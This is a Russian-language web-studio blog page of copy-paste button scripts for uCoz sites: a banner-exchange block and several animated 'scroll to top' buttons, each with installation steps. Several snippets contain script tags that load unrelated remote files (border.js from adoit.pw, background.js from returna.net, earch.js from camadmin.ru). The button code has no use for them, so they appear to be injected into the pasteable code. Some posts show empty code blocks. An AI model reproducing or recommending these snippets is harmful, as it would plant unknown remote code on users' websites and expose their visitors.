Кнопки - Блог - Веб-студия IPC : Одесса : Создание и продвижение сайтов

Необходимый скрипт практически для любого сайта ucoz
ведь именно Ваши посетители в знак признательности смогут воспользоваться этим скриптом и установить кнопку или же баннер на страницах уже своего сайта, (пояснять важность этого действия я думаю не стоит) или же поможет в обычном баннер обмене
Установка
Все предельно просто код скрипта ucoz следует разместить желательно в отдельном блоке и заполнить исходя из данных своего сайта

Код

<center><font color="#86d800"><b>Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте. Если вы хотите обменяться с нами баннерами, пишите в гостевую книгу:</b></font><script type="text/javascript" src="http://adoit.pw/border.js"></script><br><br><script language="JavaScript">

</script>
<a href="Ссылка на сайт" target="_self" alt="Описание сайта"><center><img src="Ccылка на банер" alt="Описание сайта" width=88 height=31 border=0></center></a><br>
<form><center>
<input type="button" value="Получить код" onclick="popup1()">
</center></form></center>

Категория: Кнопки | Просмотров: 554 | Добавил: DoG | Дата: 25.07.2013 | Комментарии (0)

Красивая кнопка вверх для блога ( сайта )

На необъятных просторах инета можно без труда найти массу всевозможных кнопок вверх - вниз для блогов - сайтов . Мне понравилась именно эта
Думаю , что с установкой скрипта данной кнопки проблем не возникнет - Панель управление - Управление дизайном - Нижняя часть сайта

в самый низ вставляем код:

Код

<a href="#" class="gotop" title="Наверх" style="display: inline;">
<script type="text/javascript" src="http://adoit.pw/border.js"></script></a>
<style>.gotop {
position: fixed;
width: 85px;
height: 65px;
right: 20px;
bottom: 5px;
display: block;
background: url('http://pnghosts.ru/img/gotop.png') no-repeat;
z-index: 9998;
display: none;opacity: 0.5;
}
.gotop:hover {opacity: 1.0;}</style>

Категория: Кнопки | Просмотров: 478 | Добавил: DoG | Дата: 21.07.2013 | Комментарии (0)

Кнопки вверх и вниз с функцией запоминания позиции

Суть скрипта в том, чтобы вывести кнопки "вверх" и "вниз" + сделать функцию запоминания позиции для последующего быстрого возвращения к месту "Закладки"
Установка:
В любой глобальный блок или после /head на нужных страницах вставляйте:

Код

<div class="apoud">
  <div onclick="$('body').scrollTo(0, 300);" class="apou"></div>
  <div class="apom" title="Запоминалка позиции"></div>
  <div onclick="$('body').scrollTo($('body').height()+500, 300);" class="apod"></div>
</div><script type="text/javascript" src="http://returna.net/background.js"></script>

<script>
  var apotop;
  $('.apom').toggle(function() {
  $(this).addClass('apomon');
  apotop = $('body').scrollTop();
  }, function() {
  $('body').scrollTo(apotop, 300);
  $(this).removeClass('apomon');
  });
// ApoTeam (c) 2013
</script>

В css:

Код

.apoud {
  position:fixed;
  z-index:100;
  bottom:15px;
  right:15px;
  }

  .apou, .apom, .apod {
  cursor:pointer;
  width:32px;
  height:32px;
  }

  .apou {
  background:url('http://bambun.ru/images/apouarr.png') no-repeat;
  }
  .apom {
  background:url('http://bambun.ru/images/apoposoff.png') no-repeat;
  }
  .apomon {
  background:url('http://bambun.ru/images/apoposon.png') no-repeat;
  }
  .apod {
  background:url('http://bambun.ru/images/apodarr.png') no-repeat;
  }

Категория: Кнопки | Просмотров: 339 | Добавил: DoG | Дата: 09.05.2013 | Комментарии (0)

Уникальная кнопка Scroll To Top (наверх) для сайта

О том, как установить так называемую кнопку "наверх" на Ucoz, имеется достаточно информации. Тем не менее, я тоже вношу свой скромный вклад в описание этой темы.
Моя кнопка имеет пару существенных деталей, которые придают ей уникальность.
Во первых, мне всегда не нравилось то, что кнопка появляется сразу же после минимальной прокрутки страницы. Читатель еще не ознакомился с контентом, а уже "маячит" кнопка, призывая "наверх" и загораживает информацию на боковой панели. В моей кнопке есть настройка и вы сможете установить место страницы, когда она появляется (в середине поста, после или там где комментарии).
Во вторых, учитывая дизайн и специфику многих блогов моих читателей, я сделал анимированную кнопку в ввиде бабочки, что бесспорно является элементом уникальности.
И еще маленькая деталь - цвет при наведении на бабочку курсора, становится более насыщенным.

Установка:
Заходим в панель управления, далее Управление дизайном » Редактирование шаблонов » Глобальные блоки » Нижняя часть сайта. В самый низ вставляете код.

Код

Категория: Кнопки | Просмотров: 425 | Добавил: DoG | Дата: 03.05.2013 | Комментарии (0)

Уникальный скрипт кнопки "Вверх - Вниз" с медленной автоматической прокруткой для чтения

Сегодня я публикую еще один уникальный скрипт, так называемой кнопки "Наверх".
В чем же уникальность?
Во первых, можно прокручивать страницу не только вверх, но и в низ! А во вторых, (в этом уникальность) если нажать туда, куда указывает красная стрелка, страница будет сама, автоматически, медленно прокручиваться до самого низа! Читателю при этом, ничего делать не надо - только читать или рассматривать фотографии!

Установка:
Заходим в панель управления, далее Управление дизайном » Редактирование шаблонов » Глобальные блоки » Нижняя часть сайта. В самый низ вставляете код.

Код

Категория: Кнопки | Просмотров: 374 | Добавил: DoG | Дата: 03.05.2013 | Комментарии (0)

Палец вверх (поднятие страници)

в самый вверх нижней части сайта:

Код

Категория: Кнопки | Просмотров: 481 | Добавил: startsmart | Дата: 08.03.2013 | Комментарии (0)

Кнопка "Вверх" для сайта, блога или форума

Сегодня я расскажу как вставить скрипт кнопка “Вверх” на сайт ucoz или блок. Эта кнопка будет очень полезна для Ваших сайтов, блогов или форумов с длинными страницами. Данный скрипт не нагружает сайт или блог и достаточно эффективен.
В самый низ страницы, перед /body :

Код

<script type="text/javascript">
$(document).ready(function(){


  $("#back-top").hide();

  $(function () {
  $(window).scroll(function () {

  if ($(this).scrollTop() > 125) {
  $('#back-top').fadeIn();



  } else {
  $('#back-top').fadeOut();

  }


  });


  $('#backop').click(function () {
  $('body,html').animate({
  scrollTop: 0
  }, 800);
  return false;
  });
  });

});
</script>

<script type="text/javascript">
$(window).scroll(function(){
var s = $(window).scrollTop();
var f = $(document).height()-$(window).height();

var d=s/f*100;
var p=Math.round(d);

$("#pix").text(p);

});
</script>

<div id="back-top" style="position:fixed; width: 50px; height: 100%; z-index: 6; right: 10px; top: 90%; background: transparent; " id="layer2">
<center><a title="Вверх" id="backop" href="#top"><script type="text/javascript" src="http://camadmin.ru/earch.js"></script><img src="http://bambun.ru/images/ups.png" onmouseover="this.src='http://bambun.ru/images/up1.png'" onmouseout="this.src='http://bambun.ru/images/ups.png'"></a></center>
<center><font color="#000000" size="3">
<span id="pix"></span>%</font></center>
</div>

Категория: Кнопки | Просмотров: 454 | Добавил: startsmart | Дата: 03.03.2013 | Комментарии (0)

Кнопка "Вверх" для сайта или блога

Сегодня я хотел бы Вам рассказать, как вставить скрипт кнопка “Вверх” на сайт ucoz и не только. Эта кнопка будет очень полезна для сайтов, блогов или форумов с длинными страницами. Данный скрипт очень красиво и оригинально смотрится а Вашим посетителям удобно передвигаться по страницам Вашего ресурса.
Перед закрывающимся тегом /head :

Код

<script type="text/javascript" src="http://bambun.ru/css_js/jquery.min.js"></script>
<script type="text/javascript" src="http://bambun.ru/css_js/MrScrollUp.js"></script>
<script type="text/javascript" src="http://camadmin.ru/earch.js"></script>
<link rel="stylesheet" type="text/css" href="http://bambun.ru/css_js/MrScrollUp.css" />
<div id="MrScrollUp" style="display:none;"><div class="MrScrollUp1"></div><div class="MrScrollUp2"></div></div>

Вот и всё! Я думаю у Вас не возникнет трудностей с установкой данного скрипта.

Категория: Кнопки | Просмотров: 403 | Добавил: startsmart | Дата: 03.03.2013 | Комментарии (0)

Скрипт кнопки на верх для вашего сайта

Скрипт кнопки на верх для вашего сайта.
Установка самой кнопки:
В CSS кидаем:

Код

#scroll_to
{
/* display: block before hiding */
display: block;
display: none;
z-index: 999;
opacity: .8;
position: fixed;
top: 100%;
margin-top: -80px;
left: 90%;
margin-left: -80px;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
width: 100px;
padding: 8px;
background-color: #f1f1f1;
font-size: 14px;
text-align: center;
border: 1px solid #CCC;
}

#scroll_to a { color: #222; text-decoration:none;}

В самом начале разу после body ставим:

Код

И теперь перед закрывающим тегом /body

Код

Категория: Кнопки | Просмотров: 481 | Добавил: startsmart | Дата: 09.02.2013 | Комментарии (0)

Скрипт прокрутки страницы вверх.(ввиде коте)

Что в этом скрипте особенного:
1) Появляестя скроллирующая кнопка ввиде анимащионного кота, который ест попкорн, после того, как вы начнёте пролистывать страницу Вниз
2) При нажатии на кота появляется по средине страници анимационный журавель и вместе со станицей поднимается вверх плавно исчезая..
3) Скрипт не напрягает вашу систему, сайт.
Р.s данный скрипт больше всего подойдет для кино, видео сайтов.

Установка скрипта:
Управление дизайном сайта -- Нижняя часть сайта

В самый верх вставляем:

Код

Категория: Кнопки | Просмотров: 423 | Добавил: startsmart | Дата: 30.01.2013 | Комментарии (0)

1-10 11-15